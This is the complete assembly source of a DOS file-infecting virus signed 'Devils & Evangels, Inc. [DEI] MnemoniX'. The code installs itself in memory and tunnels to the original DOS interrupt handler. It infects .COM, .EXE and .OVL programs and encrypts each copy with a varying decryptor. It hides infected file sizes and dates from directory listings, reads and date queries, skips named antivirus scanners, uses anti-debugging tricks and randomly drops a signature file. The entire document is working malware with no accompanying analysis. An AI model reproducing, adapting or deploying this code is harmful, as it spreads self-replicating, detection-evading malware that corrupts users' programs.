; =======================================================================> PING equ 0BF1h ; a worthless DOS function PONG equ 0DEAFh ; response to residency test code segment org 100h assume cs:code,ds:code start: jmp virus_begin ; fake host program db 26 dup (0) virus_begin: db 0BBh ; mov bx, code_offset dw 0 db 0B0h ; mov al, cipher db 0 decrypt: db 02Eh ; cs: decryptor_1: xor [bx],al inc bx shift_1: neg al db 81h,0FBh ; cmp bx, code_offset_2 dw 0 jbe decrypt viral_code: call $ + 3 ; BP is instruction ptr. pop bp sub bp,offset $ - 1 push ds es ; save segregs jmp kill_sourcer ; mess with disassemblers db 0E9h kill_sourcer: xor ah,ah ; create or delete the int 1Ah ; \DEI.COM file at random cmp dx,0FE00h ; times ... jb dont_drop call drop_program jmp dont_delete dont_drop: cmp dx,0800h ja dont_delete call delete_program dont_delete: mov ax,PING ; residency test int 21h cmp bx,PONG ; if installed, jne not_installed ; don't install again jmp installed not_installed: mov ax,es ; install ourselves dec ax ; in memory mov ds,ax sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 mov ax,ds:[12h] ; doing some calculations and mov ds,ax ; a bit of manipulation to sub ax,15 ; memory mov es,ax ; ES points to our destiny mov byte ptr ds:[0],'Z' mov word ptr ds:[1],8 mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 push cs ; zopy it pop ds mov di,100h mov cx,virus_end - start lea si,[bp + start] rep movsb xor ax,ax mov ds,ax sub word ptr ds:[413h],7 ; allocate memory from BIOS mov si,21h * 4 ; saving old interrupt 21 mov di,offset old_int_21 ; first movsw movsw lea dx,[bp + int_1] mov ds:[4],dx ; recursive tunneling - mov ds:[6],cs ; trace through interrupt 21 push es mov ah,52h ; get list of lists int 21h ; for segment of DOS's int 21 mov ax,es mov cs:[bp + int_21_seg],ax pop es mov [bp + our_es],es mov ax,100h ; set trap flag push ax popf mov ah,0Bh ; and send us down the tunnel pushf call dword ptr ds:[21h * 4] xor ax,ax ; turn off trap flag push ax popf mov word ptr ds:[si - 4],0 ; little anti-trace ... mov ds:[si - 4],offset new_int_21 mov ds:[si - 2],es ; and set new interrupt 21 installed: pop es ds cmp cs:[bp + exe_flag],1 ; is this an .EXE file? je exe_exit ; if so, exit as such com_exit: lea si,[bp + offset host] ; restore original header mov di,100h push di mov cx,28 rep movsb call reset_regs ret ; and leave exe_exit: mov ax,ds add ax,cs:[bp + exe_cs] mov word ptr cs:[bp + jump_to + 2],ax mov ax,cs:[bp + exe_ip] mov word ptr cs:[bp + jump_to],ax mov ax,ds add ax,cs:[bp + exe_ss] ; restore original stack cli mov ss,ax mov sp,cs:[bp + exe_sp] call reset_regs ; reset registers db 0EAh jump_to dd 0 reset_regs: mov si,100h xor ax,ax xor bx,bx xor di,di xor bp,bp ret ; int 1 handler for tunneling. int_21_seg dw 0 ; original int 21 segment our_es dw 0 ; our ES int_1: push bp ; save registers used mov bp,sp push ax mov ax,[bp + 4] ; SEGMENT of next instruction push bp call get_dest_seg ; get location pointer get_dest_seg: pop bp cmp ax,cs:[bp - (get_dest_seg - int_21_seg)] pop bp ; restore BP jbe tunneled ; found, we're through push ds si ; no, check next instruction mov ds,ax mov si,[bp + 2] ; OFFSET of next instruction lodsb ; next instruction in AL cmp al,0CFh ; IRET instruction? je set_iret ; adjust accordingly cmp al,09Dh ; POPF instruction? je set_popf ; adjust jmp flag_check_done ; never mind ... tunneled: ; we're done ... save segment push es si call get_our_es get_our_es: pop si mov si,cs:[si - (get_our_es - our_es)] mov es,si mov word ptr es:[old_int_21 + 2],ax mov ax,[bp + 2] ; and offset mov word ptr es:[old_int_21],ax and [bp + 6],0FEFFh ; deinstall tunnel routine pop si es jmp exit set_iret: or [bp + 10],100h ; OFFSET of second interrupt jmp flag_check_done ; call on stack (flags) set_popf: or [bp + 6],100h ; OFFSET of word before ; interrupt call on stack flag_check_done: pop si ds exit: pop ax bp iret ; int 24 handler. ; DOS changes it back automatically. new_int_24: mov al,3 ; simple enough iret ; ================================================> ; int 21 handler. ; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h ; ================================================> int_21: pushf call dword ptr cs:[old_int_21] ret new_int_21: cmp ax,PING ; are we checking on ourself? je pass_signal ; yes, give the signal cmp ax,4B00h ; program execution? je execute ; uh - huh cmp ah,11h ; directory stealth method 1 je dir_stealth_1 ; (hide from DIR listing) cmp ah,12h je dir_stealth_1 cmp ah,4Eh ; directory stealth method 2 je dir_stealth_2 ; (hide from ASCIIZ search) cmp ah,4Fh je dir_stealth_2 cmp ah,3Dh ; file open method 1 jne go_on jmp file_open go_on: cmp ah,6Ch ; file open method 2 jne go_on_2 jmp file_open go_on_2: cmp ah,3Fh ; file read jne go_on_3 jmp file_read go_on_3: cmp ax,5700h ; get date jne int_21_exit jmp fix_date int_21_exit: db 0EAh ; never mind ... old_int_21 dd 0 pass_signal: mov bx,PONG ; pass signal jmp int_21_exit execute: call check_name jc skip_infect ; don't infect if marked call infect_ds_dx ; simple enough ... skip_infect: jmp int_21_exit dir_stealth_1: call int_21 ; do it test al,al ; if al = -1 js cant_find ; then don't bother push ax bx es ; check file for infection mov ah,2Fh int 21h cmp byte ptr es:[bx],-1 ; check for extended FCB jne no_ext_FCB add bx,7 no_ext_FCB: mov ax,es:[bx + 19h] cmp ah,100 ; check years - jb fixed ; if 100+, infected ror ah,1 sub ah,100 rol ah,1 mov es:[bx + 19h],ax sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28 sbb word ptr es:[bx + 1Fh],0 fixed: pop es bx ax cant_find: iret dir_stealth_2: call int_21 ; perform file search jnc check_file_2 ; if found, proceed retf 2 ; nope, leave check_file_2: push ax bx si es mov ah,2Fh ; find DTA int 21h mov ax,es:[bx + 18h] cmp ah,100 ; check for infection marker jb fixed_2 ror ah,1 ; fix up date sub ah,100 rol ah,1 mov es:[bx + 18h],ax sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28 sbb word ptr es:[bx + 1Ch],0 fixed_2: pop es si bx ax ; done clc retf 2 file_open: call try_infecting ; try to infect file call int_21 ; open file jc open_fail ; carry set, open failed cmp ax,5 ; if handle is a device, jb dont_bother ; don't bother with it push ax bx di es xchg ax,bx push bx mov ax,1220h ; get system file table int 2Fh ; entry nop ; anti-SCAN mov bl,es:[di] mov ax,1216h int 2Fh pop bx call check_datestamp ; check datestamp jb dont_stealth cmp word ptr es:[di],1 ; if file has already ja dont_stealth ; been opened, don't stealth sub es:[di + 11h],VIRUS_SIZE + 28 sbb word ptr es:[di + 13h],0 ; stealth it ... change file ; size dont_stealth: pop es di bx ax ; restore everything dont_bother: clc open_fail: retf 2 ; and return file_read: cmp bx,5 ; if read from device, jae check_it_out ; don't bother jmp forget_it check_it_out: push si di es ax bx cx push bx mov ax,1220h ; get SFTs int 2Fh nop mov bl,es:[di] mov ax,1216h int 2Fh pop bx call check_datestamp ; 100+ years jae check_pointer ; is the magic number jmp no_read_stealth check_pointer: cmp word ptr es:[di + 17h],0 ; if file pointer above 64K, je check_pointer_2 ; then skip it jmp no_read_stealth check_pointer_2: cmp word ptr es:[di + 15h],28 ; if file pointer under 28, jae no_read_stealth ; then DON'T push es:[di + 15h] ; save it mov ah,3Fh call int_21 ; do the read function pop cx ; now find how many bytes push ax ; (Save AX value) sub cx,28 ; we have to change ... neg cx ; and where cmp ax,cx ; if more than 28 were read, jae ok ; ok xchg ax,cx ; otherwise, switch around ok: push ds cx dx push es:[di + 15h] ; save current file pointer push es:[di + 17h] add es:[di + 11h],VIRUS_SIZE + 28 adc word ptr es:[di + 13h],0 mov ax,es:[di + 11h] ; fix up file size to prevent sub ax,28 ; read past end of file mov es:[di + 15h],ax mov ax,es:[di + 13h] mov es:[di + 17h],ax push cs ; now read in real first 28 pop ds ; bytes mov dx,offset read_buffer mov cx,28 mov ah,3Fh call int_21 sub es:[di + 11h],VIRUS_SIZE + 28 sbb word ptr es:[di + 13h],0 pop es:[di + 17h] ; restore file pointer pop es:[di + 15h] pop dx cx ds ; now we move our 28 bytes push ds ; into theirs ... pop es mov di,dx mov si,offset read_buffer push cs pop ds rep movsb ; done push es ; restore DS pop ds pop ax pop cx bx es es di si clc retf 2 no_read_stealth: pop cx bx ax es di si forget_it: jmp int_21_exit fix_date: call int_21 ; get date jc an_error cmp dh,100 ; if years > 100, jb date_fixed ; fix it up ror dh,1 sub dh,100 rol dh,1 date_fixed: iret an_error: retf 2 ; Called routines ; this routine checks for a .COM or .EXE file try_infecting: push di es cx ax cmp ax,6C00h ; extended open fix jne get_ext xchg dx,si get_ext: mov di,dx ; find program extension push ds pop es mov cx,64 mov al,'.' repnz scasb pop ax jcxz let_it_be ; ... "ecch" ... cmp [di],'OC' ; .COM file? jne perhaps_exe ; maybe .EXE, then cmp byte ptr [di + 2],'M' jne let_it_be ; not program, don't infect jmp yes_infect_it perhaps_exe: cmp [di],'XE' ; .EXE file? jne one_more_try ; maybe ... .OVL? cmp byte ptr [di + 2],'E' jne let_it_be jmp yes_infect_it one_more_try: cmp [di],'VO' ; .OVL file? jne let_it_be cmp byte ptr [di + 2],'L' jne let_it_be yes_infect_it: call check_name ; don't infect forbidden jc let_it_be ; programs call infect_ds_dx let_it_be: cmp ah,6Ch ; extended open fixup jne get_out xchg dx,si get_out: pop cx es di ret ; this routine checks the filename at DS:DX for certain 'bad' programs check_name: push ax cx es di push ds ; find extension pop es mov di,dx mov cx,64 mov al,'.' repnz scasb cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN jne pass_1 cmp word ptr [di - 5],'CS' je av_prog pass_1: cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT jne pass_2 cmp word ptr [di - 5],'RP' je av_prog pass_2: cmp word ptr [di - 3],'DN' ; COMMAND.COM jne pass_3 ; ("Bad or Missing," etc.) cmp word ptr [di - 5],'AM' je av_prog pass_3: cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC jne pass_4 ; ("Packed file is corrupt") cmp word ptr [di - 7],'BQ' je av_prog pass_4: clc ; passed the test jmp check_complete av_prog: stc ; ack! *GAG* *boo* *hiss* check_complete: pop di es cx ax ret ; this routine infects the file at DS:DX infect_ds_dx: push ax bx cx dx si di ds es in al,21h ; some anti-trace xor al,2 out 21h,al xor al,2 out 21h,al mov ax,3D00h ; read-only ... we'll change call int_21 ; it later, but it won't trip jnc hook_24 ; some AV monitors jmp cant_open hook_24: xor bx,bx ; hook int 24h mov ds,bx ; prevent write protect errors mov ds:[24h * 4],offset new_int_24 mov ds:[24h * 4 + 2],cs xchg bx,ax ; get system file tables push bx mov ax,1220h int 2Fh nop ; anti-SCAN mov bl,es:[di] mov ax,1216h int 2Fh pop bx call check_datestamp ; if already infected, jae dont_infect ; don't do it again mov word ptr es:[di + 2],2 ; change mode to R/W push cs ; read in 28 bytes of pop ds ; our potential host ... mov dx,offset read_buffer mov cx,28 mov ah,3Fh ; (carefully avoiding call int_21 ; our stealth routine) cmp word ptr read_buffer,'ZM' je infect_exe ; if .EXE, infect as one mov exe_flag,0 ; infect as .COM mov ax,es:[di + 11h] ; get file size cmp ax,65279 - VIRUS_SIZE + 28 ja dont_infect ; don't infect; too big cmp ax,28 jb dont_infect ; don't infect; too small mov es:[di + 15h],ax ; move to end of file ; (I just love the SFTs ...) call encrypt_and_write_virus ; encrypt the virus code ; then write it to the file mov dx,offset read_buffer ; store original mov cx,28 ; header mov ah,40h call int_21 mov word ptr es:[di + 15h],0 ; and lastly, back to ; the beginning of the file mov dx,offset new_header ; to add the new header mov ah,40h mov cx,22 ; our header's only 22 bytesx call int_21 mov cx,es:[di + 0Dh] ; fix date/time mov dx,es:[di + 0Fh] ror dh,1 add dh,100 rol dh,1 mov ax,5701h call int_21 dont_infect: mov ah,3Eh ; and close the file call int_21 cant_open: jmp infect_exit ; infection done; exit infect_exe: cmp word ptr read_buffer[24],'@' jne not_windows jmp infect_exit ; Windows .EXE, don't infect not_windows: cmp word ptr read_buffer[26],0 je not_overlay jmp infect_exit ; overlay .EXE, don't infect not_overlay: mov exe_flag,1 ; infect as .EXE push es di ; move original header push cs ; into new header area pop es mov si,offset read_buffer mov di,offset header_buffer mov cx,28 rep movsb pop di es push es:[di + 11h] ; save file size on stack push es:[di + 13h] push word ptr read_buffer[22] ; CS ... pop exe_cs add exe_cs,10h ; (adjust) push word ptr read_buffer[20] ; IP ... pop exe_ip push word ptr read_buffer[14] ; SS ... pop exe_ss add exe_ss,10h ; (adjust) push word ptr read_buffer[16] ; and SP pop exe_sp pop dx ax ; now we calculate new CS:IP push ax dx ; (save these for later) push bx mov cl,12 ; calculate offsets for CS shl dx,cl ; and IP mov bx,ax mov cl,4 shr bx,cl add dx,bx and ax,15 pop bx sub dx,word ptr read_buffer[8] mov word ptr read_buffer[22],dx mov word ptr read_buffer[20],ax pop dx ax add ax,VIRUS_SIZE + 28 adc dx,0 push ax dx mov cl,4 ; create a stack segment shr ax,cl add ax,200 cmp ax,word ptr read_buffer[14] jb no_new_stack ; if theirs is better, skip it mov dx,-2 ; set SP to FFFE always mov word ptr read_buffer[14],ax mov word ptr read_buffer[16],dx no_new_stack: pop dx ax ; now calculate program size mov cx,512 ; in pages div cx ; then save results inc ax mov word ptr read_buffer[2],dx mov word ptr read_buffer[4],ax mov ax,4202h ; this is just easier cwd ; than using the SFTs xor cx,cx call int_21 mov ax,word ptr read_buffer[20] ; get code offset call encrypt_and_write_virus ; encrypt virus code ; and write it to the file mov dx,offset header_buffer ; write original header mov cx,28 ; to file mov ah,40h call int_21 mov word ptr es:[di + 15h],0 mov word ptr es:[di + 17h],0 ; back to beginning of file mov dx,offset read_buffer ; and write new header to file mov ah,40h call int_21 mov cx,es:[di + 0Dh] ; fix date/time mov dx,es:[di + 0Fh] ror dh,1 add dh,100 rol dh,1 mov ax,5701h call int_21 mov ah,3Eh ; close file call int_21 infect_exit: pop es ds di si dx cx bx ax ; done ... leave ret encrypt_and_write_virus: push es di bx ax ; save code offset and SFT mov bx,ax xor ah,ah ; get random number from int 1Ah ; system clock mov cipher,dl ; and use it for encryption pop ax ; fix up offset cmp exe_flag,0 jne not_org_100h add ax,100h not_org_100h: add ax,(viral_code - virus_begin) mov ds:code_offset,ax add ax,(virus_end - viral_code) - 1 ; second offset mov ds:code_offset_2,ax mov si,offset virus_begin mov di,offset encrypt_buffer push cs ; move decryption module pop es mov cx,viral_code - virus_begin rep movsb mov si,offset viral_code mov cx,virus_end - viral_code encrypt: ; now encrypt virus code lodsb ; with a simple encryption decryptor_2: xor al,dl ; key ... shift_2: neg dl stosb loop encrypt cmp exe_flag,0 ; if .COM file, jne exe_infection mov ax,bx call create_header ; create unique header exe_infection: pop bx di es ; restore SFT mov ah,40h ; wrte virus code to file mov cx,VIRUS_SIZE mov dx,offset encrypt_buffer call int_21 ret check_datestamp: mov ax,es:[di + 0Fh] ; a little routine to cmp ah,100 ; check timestamps ret drop_program: lea dx,[bp + offset weirdo] ; this creates our push ds ; little signature push cs pop ds mov ah,3Ch mov cx,3 int 21h jc no_drop xchg ax,bx mov ah,40h mov cx,(drop_me_end - drop_me) lea dx,[bp + offset drop_me] int 21h mov ah,3Eh int 21h no_drop: pop ds ret delete_program: mov ah,41h lea dx,[bp + offset weirdo] push ds push cs pop ds int 21h pop ds ret create_header: push ax add ax,100h + (offset decrypt - offset virus_begin) mov ds:mov_1,ax ; header inc ax inc ax mov ds:mov_2,ax xor ah,ah ; fill in useless MOVs int 1Ah ; with random bytes mov ds:mov_al,cl mov ds:mov_ax,dx push dx ; modify header a little ... and cl,7 ; make things weirder ... add cl,0B0h mov ds:mov_reg,cl and dl,3 add dl,0B8h mov ds:mov_regx,dl pop dx push cs pop es mov di,offset encrypt_buffer add di,offset decrypt - offset virus_begin mov ax,dx ; now fill decryption module neg ax ; with some garbage stosw rol ax,1 stosw pop ax sub ax,20 ; fix up JMP instruction mov ds:new_jump,ax ret ; done new_header db 0C7h,06 mov_1 dw 00 db 2Eh decryptor_3 db 30h ; first MOV mov_reg db 0B0h mov_al db 00 ; a nothing MOV bytereg, db 0C7h,06 mov_2 dw 00 db 07,043h ; second MOV mov_regx db 0B8h mov_ax dw 00 ; a nothing MOV wordreg, db 0E9h ; jump instruction new_jump dw 0 ; virus offset exe_flag db 0 exe_cs dw 0 ; EXE code/stack settings exe_ip dw 0 exe_ss dw 0 exe_sp dw 0 drop_me: mov ah,9 ; this program is dropped mov dx,109h ; at random times within int 21h ; the root directory as int 20h ; \DEI.COM sig db 'Devils & Evangels, Inc. ' db '[DEI] MnemoniX $',0 drop_me_end: db 'v2.00' weirdo db '\DEI.COM',0 virus_end: host: mov ah,4Ch ; fake host program int 21h VIRUS_SIZE equ virus_end - virus_begin read_buffer db 28 dup (?) header_buffer db 28 dup (?) encrypt_buffer db VIRUS_SIZE dup (?) end_heap: MEM_SIZE equ end_heap - start code ends end start